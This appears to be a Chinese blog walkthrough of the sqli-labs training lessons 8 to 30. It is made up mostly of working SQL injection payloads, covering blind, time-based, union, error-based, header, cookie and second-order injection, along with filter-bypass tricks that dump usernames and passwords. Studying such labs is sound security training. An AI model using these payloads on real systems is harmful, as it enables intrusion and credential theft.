sqli 8-30

less 8

输入?id=1'页面异常

 输入?id=1'--+页面正常

判断为字符型注入

爆数据库名:

1.判断长度:?id=1' and length(database())>1 --+
依次往上加数字的值知道无显示位 

可以看出数据库的长度为8 

2.爆破数据库名:?id=1' and ascii(substr((database()),1,1)) =115 --+

可以看到当ascll值为115时回显说明第一个字符为‘s’

剩下的字符依次进行解密,当然这样比较麻烦.

第二位:?id=1' and ascii(substr((database()),2,1)) >80 --+

类似这样只需修改数值依次解出:database=security
大致可以猜测到数据库名:security

爆表名:

1.判断表的数量:?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   (结果为4)

表的数量为4

2.判断第一个表的长度:?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+(结果为6)

3.判断表的字符:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+
 

说明表中第一个字符的ASCII值大于79

?id=1'   and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

所以第一个值为e 

在这里插入图片描述

第二个字符为m:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+

 就这样依次进行得到表名:emails/users 

爆字段:

1.获取字段列数:?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

等于3时有回显,等于4时没有回显,可见列数为3

2.获取字段列名:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

说明第一列第一个字符为i 

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+
第二个为d

依次求第二列

第一个字符:u

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+

依次尝试可以得到:

第二列名:username

第三列名:password 

获取表中的数据

1.获取条数:?id=1' and  (select count(*) from users)=13 --+

可见为13条

2.判断数据长度 

?id=1'   and  length((select id from users limit 0,1))=1 --+

长度为1 

3.判断长度:?id=1'   and  length((select username from users limit 0,1))=4 --+

可见username的长度为4

4.判断数据:?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

可见username中第一个字符为:D

就这样依次进行得到username:Dumb,password:Dumb

其实这样下来程序是十分繁杂的,接下来将会使用burp工具来爆破进行获取信息

less 9

输入?id=1和?id=1'

回显结果相同

无法使用布尔盲注

可以使用延时注入判断语句的对错 

?id=1' and sleep(5) --+

注入这样的语句,发现页面标签转了好久的圈圈差不多是五秒

由于我们的1’成功闭合前面--+又注释了后面
而and连接了前面正确的语句所以执行了后面的sleep()函数
所以导致了页面大概等待了5秒的时间
而如果前面的语句闭合错误,那么后面的sleep()函数就将不会被执行

1.猜测数据库名长度:

输入?id=1' and if(length(database())=8,1,sleep(5))--+ (红色数字可变,为猜测数据库名长度部分)

发现立马出现了回显,说明当前数据库长度为8

(插入:

 IF(expr1,expr2,expr3)  表达式 expr1 可以返回 TRUE,FALSE 或 NULL,这三个值之一。

 如果 expr1 是TRUE (或者expr1 <> 0 且 expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3) 

2.猜测数据库名:

?id=1' and if(ascii(substr((select database()),1,1))>100,1,sleep(5))--+  

立马出现了回显,说明当前数据库的第一个字母的ascii值大于100(红色数字可变,为猜测数据库名长度部分,黄色部分表示对第一位字母进行猜测,可变)

?id=1' and if(ascii(substr((select database()),1,1))>120,1,sleep(5))--+ 

五秒后才出现回显,说明说明当前数据库的第一个字母的ascii值小于120

通过二分法进行尝试可知当前数据库的第一个字母的ascii值为115,即s

依此类推可猜出剩下7位字母,得到数据库名为security
3.猜测表名长度:

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))--+ 

同理可以确定所有表名的长度

4.猜测当前数据库的表名:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+ 

立即得到回显,得到表名第一个字母为e,依此类推可得表名email

同理可得所有表名emails,referers,uagents,users(红色部分猜测表名第一个字母的ascii值,为可变参数,黄色部分表示从第一张表开始查)
5.猜测列名:

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

立刻得到回显

可得所有列名为id,username,password
6.猜测字段内容

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
可得username 第一行的第一位

以此类推,得到 username,password 字段的所有内容。
 

less 10

将第九关的'闭合方式改为"闭合

其他的与上一关类似

less 11

发现页面发生了变化,是账户登录界面,注入点在输入框里面

前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。 

输入1',出现报错信息。根据报错信息可以推断该sql语句username='参数' and password='参数'

输入1' or 1=1#

登录成功

查看sql语句

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

输入1' or 1=1#

SELECT username, password FROM users WHERE username='1' or 1=1

因为1=1为永真式,与前面的or结合,where后语句直接为真。变为

SELECT username, password FROM users

随便输入内容,burp抓包

可以看出有两个列 

使用联合查询语句 union select来进行爆破,可以加上and 1=2,也可以uname=不存在的数字',在此选用第一种

uname=admin' and 1=2 union select 1,2#&passwd=&submit=Submit

爆数据库名:uname=admin' and 1=2 union select 1,database()#&passwd=&submit=Submit 

爆数据库中表名:

uname=admin' and 1=2 union select 1,group_concat(table_name)from information_schema.tables  where table_schema='security'#&passwd=&submit=Submit 

爆字段名: 

uname=admin' and 1=2 union select1,group_concat(column_name)from information_schema.columns wheretable_schema='security'and table_name='users'#&passwd=&submit=Submit

爆用户名密码 

uname=admin' and 1=2 union select1,group_concat(username,0x23,password)fromsecurity.users#&passwd=&submit=Submit

less 12 

输入1"

看报错信息,可以知道sql语句是双引号且有括号 

与上一关类似,区别在于用")闭合

less 13

输入1'

看报错信息,可以知道sql语句是单引号且有括号

 输入admin’) and 1=2#和-admin’) union selec 1,2#联合查询

 没有报错,那我们就用报错语句来测试

报错盲注

admin') order by 2#

为2的时候没有报错

字段数为2

爆出当前数据库:1') and 1 union select 1,updatexml(1,concat(0x7e,database(),0x7e),1)#

爆出当前库中表名:1') and 1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1)#

或admin') union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#

爆字段:admin') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#
爆数据:admin') and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#

less 14 

输入1"

看报错

将上一关中的')改为"

其余相同

less 15

输入1'

仍然布尔型盲注

输入1' or (select ascii(substr(database(),1,1)) > 100)#

登录成功,说明数据库第一个字母的ascii值大于100

经过不断的测试发现,数据库第一个字母的ascii值为115

1' or (select ascii(substr(database(),1,1)) = 115)#

输入1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100)#

猜测当前数据库的表名,成功登录,说明当前数据库中的表名的第一个字母的ascii值大于100

依次猜测可得到表名

猜测数据库中的数据:uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) >100)#&passwd=&submit=Submit,登录失败,说明表users中的用户名的第一个字母的ascii值不大于100
依次测试,最终可以得到数据库中的数据
 

less 16

输入1") or 1=1#

显示登陆成功

将上一关的闭合方式改为")

其他的一样

1")  or (select ascii(substr(database(),1,1)) > 100)#

less 17

前几关没有过滤,这一关有了过滤

查看源码

这里面定义了个函数,输入的usename会在这里被滤一次 

get_magic_quotes_gpc(),该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义

stripslashes(),该函数用于去除字符串里的反斜杠,也就是防止转义

ctype_digit(),该函数用于检测字符串是否为纯数字,是则返回true,不是返回false

mysql_real_escape_string(),该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入

intval(),该函数用于将字符串转化为纯数字

分析完后发现,只要经过这里一次,基本上不能进行SQL注入了,但是password没有被过滤,所以能以password这里作为注入点,但是必须得输对用户名才行

报错注入

用户名一直输入:admin

从password处注入

爆数据库:' and extractvalue(null,concat(0x7e,database(),0x7e))#

爆表名:1' and extractvalue('anything',concat( '~', (select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))#  

爆字段:1' and extractvalue('anything',concat( '~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))#  

爆数据:1' and extractvalue('anything',concat( 0x7e, (select group_concat(id,username,password) from users)))# 

报错

 这个报错主要是因为不能在筛选数据的同时,进行数据更新,外面可以用临时表的方法,实现数据筛选和数据更新

123' and extractvalue(1,concat(0x7e,(select concat(id,' ',password,username) from (select id,password,username from users limit 0,1)a)))#

成功 

less 18

输入用户名和密码之后回显了user-agent的信息 

注入应当是发生在user-agent上的

查看源码

这句话将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分

抓包,修改useragent信息头

爆数据库:

User-Agent: 1' ,1,extractvalue('anything',concat('~',(select database()),'~')))#

其余操作与十七关一样

爆数据:

User-Agent: 1' ,1,extractvalue('anything',concat('~',(select group_concat(username,'~',password) from security.users),'~')))#
 

less 19

判断注入点

查看源码

对账号密码都有检测 

存在数据包注入,通过注入referer和ip_address,进行报错回显

爆数据库:Referer: http://sqli.exp-9.com/Less-19/1',extractvalue('anything',concat('~',(select database()),'~')))#


 

爆数据:Referer: http://sqli.exp-9.com/Less-19/1',extractvalue('anything',concat('~',(select group_concat(username,'~',password)  from security.users),'~')) )#

less 20 

输入正确账号密码admin admin

查看源码,依旧对账号密码有检查 

可以通过cookie注入

抓包,修改cookie

爆数据库 :

Cookie: uname=admin' and extractvalue('~',concat('~',( select database() ),'~') ) #

 爆数据

Cookie: uname=admin' and extractvalue('anything',concat('~',(select group_concat(username,'~',password) from security.users),'~'))#

less 21 

直接输入已知账号密码,显示出被base64编码的admin

构造payload:Cookie: uname=base64编码后的sql注入语句

用')闭合

') union select 1,2,3#  

JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=

') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIw== 

 后面也类似,用base64进行编码即可

less 22

cookie处闭合方式为"

其余与上一关一样

less 23

查看源码发现,对#、–注释符进行了过滤

这关是get请求

输入?id=1'

看报错,发现要用'闭合

 爆数据库名:?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1

爆表名:

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1

爆字段名:?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1

爆数据:?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 and '1'='1 

less 24 

本关卡为二次注入,其产生原因是:服务器端虽然对用户的直接输入做了一些过滤或者将一些字符进行转义,但是对于已经存入数据库的信息是完全信任的,即:不校验数据库信息是否合法

本关卡关于修改代码的部分:

这是一个看起来很正常的更新密码的update操作,通过输入用户名以及旧密码才能够成功修改密码

但是如果用户名是 admin'# 

这时候该语句便成为了如下所示:

该语句实际执行代码如下:

后面的那部分已经被 # 注释掉了,这个时候应该看出问题来了,这个修改密码的update操作并不需要旧密码,仅仅有用户名即可修改密码 

注册一个admin'#账户 ,密码123456

接下来便是修改密码,这三个文本框填法如下:
Current Password:admin’#
New Passwoord:111111
Retype Password:111111

此时update语句如下:

UPDATE users SET PASSWORD='111111' where username='admin'#' and password='123456'

此时我们修改的其实并不是 admin’# 的密码,而是 admin 的密码,而且通过 # 将其原密码进行注释,从而可以完成对 admin 密码的修改

admin'# 的密码并没有改变(123456),而 admin 的密码却已经被成功改变(111111),接下来便可以使用 admin 用户成功登陆

less 25 

本关对and和or做了过滤 

输入?id=1\

看报错,说明用单引号闭合 

绕过and和or的常用方法: 

        1、大小写变形:将原本的 or 和 and 替换为:Or、oR、And、AND、aND、aNd等等。

        2、转换编码输入:将 or 和 and 使用hex,urlencode等编码方式进行转换后在输入。

        3、添加注释:例如:/*or*/

        4、双写绕过:例如:oorr,aandnd 等。

        5、可以使用%26%26代替and。%26 代表字符 '&' 。有时候&&不能用但是可以使用%26%26反正就这两个轮换着试验,哪个可行用哪个。

        6、利用符号:and替换为&&、or替换为||
爆破数据库名:

这里使用双写绕过,其他绕过方法也可以

输入语句测试列数:

?id=1' oorrder by 4 --+ 

?id=1' oorrder by 3 --+ 

页面回显正常,说明列数为3,接下来测试显示位

输入语句:?id=0' union select 1,2,3 --+

可以看到页面的显示位是2和3 

输入语句:?id=0' union select 1,database(),3 --+

 看到数据库名

爆破表名:

输入语句:

?id=0' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

可以看到成功爆破了表名,这里一定要注意它过滤 or 的时候是所有的 or 都被过滤了,包括在单词中的 or 例如 information_schema.tables 中的 or 也被过滤了

爆破列名:

?id=0' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='emails' --+

爆破字段值:

?id=0' union select 1,group_concat(id,email_id),3 from emails --+ 

less 26 

根据页面显示空格和注释符被过滤了。那我们就不能使用空格和注释符了,需要使用其他去替换

输入?id=1' 

从报错看出,用'闭合

绕过注释符方法:使用 or '1'='1 或者 and '1'='1 替换,这里理解一下注释符号的作用就可以,我们只要把后面的符号想办法闭合就可以,单引号可以随时替换,主要是根据sql语句的闭合方式决定使用什么符号闭合。

绕过空格方法:

        1、/**/(注释绕过)
        2、%09 Tab键(水平)
        3、%0a 新建一行
        4、%0c 新的一页
        5、%0d return 键
        6、%0b Tab键(垂直)
        7、%a0 空格
        8、() 绕过,主要通过括号去将某些语句独立起来,这样就不需要空格了。
以上都可以用来绕过。一般过滤了空格之后,联合注入以及双查询注入等就不推荐使用了(Windows系统的前提,如果是LINUX系统直接使用等价字符绕过空格就可以),最好使用报错注入中的 extractvalue()函数 以及 updatexml()函数 进行报错注入。

 查看一下源代码:

可以看到这就是过滤代码,使用prep_replace()函数进行查找替换 

and被过滤了 而且全部的逻辑运算符都被过滤掉了 所以我们用字符来代替字母写法 用&&代替and 用||代替or 或者使用双写绕过的思想进行处理

爆破数据库名:

?id=1'%26%26extractvalue(1,concat(0x7e,database()))%26%26'1'='1

在URL编码中 && 具有特殊含义,所以我们要将其转换为 %26%26 代替 and

爆破表名:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'1'='1

爆破列名:?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))))||'1'='1

爆破字段值:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(id))from(emails))))||'1'='1

 less 26a

输入?id=2')%26%26('1')=('1

 用')闭合

因为这一关中没有报错回显,但是有正常显示的页面和不正常显示页面两种显示情况,所以使用布尔盲注。

猜测数据库名:

?id=1')%26%26length(database())>8%26%26('1')=('1

?id=1')%26%26length(database())>7%26%26('1')=('1

页面都正常回显,说明数据库名字长度就是8

?id=1')%26%26left(database(),1)>'z'%26%26('1')=('1

页面非正常回显,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。

这样依次猜测即可

猜测表名与列名,将被过滤的内容进行绕过即可

less 27

通过页面可得这一关应该主要是过滤了 union 和 select 

输入:?id=1\

通过页面的报错信息可得注入点为单引号。同时发现这一关中存在报错回显,那么就可以使用报错注入

绕过union和select的主要方法

(1):使用注释符绕过:
        //、--、--+、#、/**/、-、;、%00、--空格
        具体用法,例如过滤了 select 的绕过:se/**/lect,可以一位一位的试验,有的后台检测前两个字符是否匹配,有的前三个,注释符要插入在不同的位置去检验,我们最终要实现的就是让后台检测不出这是select,只要后台检测的字符数之内不匹配就可以绕过了,当然现在这只是我的猜想,有可能后台也是根据不匹配字数总和来判断的,例如不匹配指数到达某个值以上就判断该字符串不匹配了。
        (2):使用大小写绕过
        例如:SElect,这个绕过方法主要就是大小写混着用,从而骗过后台检测,预防方法就是后台无视大小写就可以了。
        (3):双写绕过
        例如:SELSELECTECT,双写的时候一般是对半分,如果不能对半分的话前面比后面多一个字符就可以,例如 union 双写为 UNIUNIONON。
        (4):换编码绕过
        使用不同的编码方式去表示这些字符,例如转换为URL编码输入,ASCII编码、unicode编码等。
        (5):内联注释绕过
        内联注释就是把一些特有的只有在Mysql上的语句放入到/*!...*/中,这些语句在其他数据库中是不会执行的,但是在Mysql中可以执行。
        (6):写两次union和select
        有些时候会过滤单一的union+空格(包括可替代空格的特殊字符)+select,但是又没过滤单独存在的union,select可以构造union%0dunion%0dselectselect%0d1,2,3这样的语句进行尝试。
 

爆破数据库名:?id=1'%26%26extractvalue(1,concat(0x7e,database()))||'1'='1

爆破表名:

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))))||'1'='1

爆破列名:?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(column_name))from(information_schema.columns)where(table_name='emails'))))||'1'='1 

爆破字段值:

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(id))from(emails))))||'1'='1 

less 27a 

输入:?id=1'

没有报错,说明注入点一定不是单引号并且注入点中一定不包含单引号

输入:?id=1" 

没有语法报错回显,也就不能使用报错注入。只能尝试联合注入或者盲注。

输入:?id=2"and"1"="1

回显了 id=2 的用户的信息,说明注入点就是双引号

输入:?id=0"UNIon%0aSELect%0a1,2,3||"1"="1

  可以看到数据库有三列,而且页面还回显出了显示位。那么就可以使用联合注入了

爆破数据库名:?id=0"UNIon%0aSELect%0a1,database(),3||"1"="1 

爆破表名:?id=0"UNIon%0aSELect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and"1"="1 

爆破列名:?id=0"UNIon%0aSELect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='emails'and"1"="1 

爆破字段值:?id=0"UNIon%0aSELect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand"1"="1 

less 28

输入:?id=2')and('1')=('1

说明注入点是 ') 

查看源码: 

可以看到语句:$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.

        在正则匹配中:\s表示空格、+表示匹配一次或者匹配多次、/i表示不区分大小写,这句话的意思就是匹配 union+空格+select 这种类型的,而且不区分大小写,只要匹配上的就都过滤了。这里也过滤了空格,所以不能通过加两个空格等方式绕过,因为加的空格会被过滤。

这里采用 union%0aunion%0aselectselect%0a1,2,3 这样的语句格式来绕过。通过等价字符%0a绕过空格。

测试一下数据库列数和显示位:?id=0')union%0aunion%0aselectselect%0a1,2,3||('1')=('1

爆破数据库名:?id=0')union%0aunion%0aselectselect%0a1,database(),3%0a||('1')=('1 

爆破表名:?id=0')union%0aunion%0aselectselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and('1')=('1

爆破列名:?id=0')union%0aunion%0aselectselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and('1')=('1

爆破字段值:?id=0')union%0aunion%0aselectselect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand('1')=('1

less 28a

')字符型注入

过滤了union、select、注释、斜杠

比第28少了空格等

less 29

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

输入?id=1'--+,看出是'闭合

爆表

?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+    


爆字段
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+  
 
爆密码账户 
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

less 30

与上一关类似,将上一关的'换成"

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值